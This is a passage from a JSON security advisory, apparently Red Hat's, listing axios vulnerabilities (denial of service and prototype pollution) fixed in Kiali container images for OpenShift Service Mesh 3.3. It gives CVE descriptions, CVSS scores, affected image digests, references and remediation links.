          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510017",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510017"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67313",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson",
          "url": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson"
        }
      ],
      "release_date": "2026-08-01T12:22:16.493000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON"
    },
    {
      "cve": "CVE-2026-67314",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-08-01T13:03:49.884962+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510030"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. This vulnerability involves prototype pollution read-side gadgets within the basic authentication subfield handling. If an application is already susceptible to a separate prototype pollution issue and makes an axios request without specifying username or password in its authentication object, an attacker can inject malicious values. This allows for outbound request tampering, enabling the attacker to inject or replace basic authentication credentials in outgoing requests. Under specific application conditions, this could also lead to credential disclosure.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510030",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510030"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67314",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields",
          "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
        }
      ],
      "release_date": "2026-08-01T12:22:16.603000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth"
    },
    {
      "cve": "CVE-2026-67320",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-08-01T13:01:50.659496+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2509993"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios when used in a Node.js deployment with the HTTP adapter. This vulnerability, known as Prototype Pollution, occurs because request interceptors can revert hardened request configurations, allowing an attacker to manipulate the Object.prototype.proxy property. If successfully exploited, an attacker can route affected plaintext HTTP requests through a malicious proxy, potentially observing sensitive data such as authentication headers and request bodies, and even returning their own responses.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Information disclosure via Prototype Pollution in Node HTTP adapter",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67320"
        },
        {
          "category": "external",
          "summary": "RHBZ#2509993",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2509993"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67320",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67320"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67320",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67320"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/commit/df53d7dd99b202fb194217abd127ae6a630e70dc",
          "url": "https://github.com/axios/axios/commit/df53d7dd99b202fb194217abd127ae6a630e70dc"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter",
          "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter"
        }
      ],
      "release_date": "2026-08-01T12:22:17.547000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Information disclosure via Prototype Pollution in Node HTTP adapter"
    },
    {
      "cve": "CVE-2026-67321",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-01T13:02:49.231124+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510011"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. A remote attacker could exploit an incomplete depth-limit bypass when the component serializes objects with specific top-level keys. By manipulating object keys and nested values during form or parameter serialization, an attacker can trigger a processing error. This can lead to a denial of service, making the affected request path unavailable to legitimate users.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service via object serialization bypass",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67321"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510011",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510011"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67321",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67321"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67321",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67321"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass",
          "url": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass"
        }
      ],
      "release_date": "2026-08-01T12:22:18.177000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
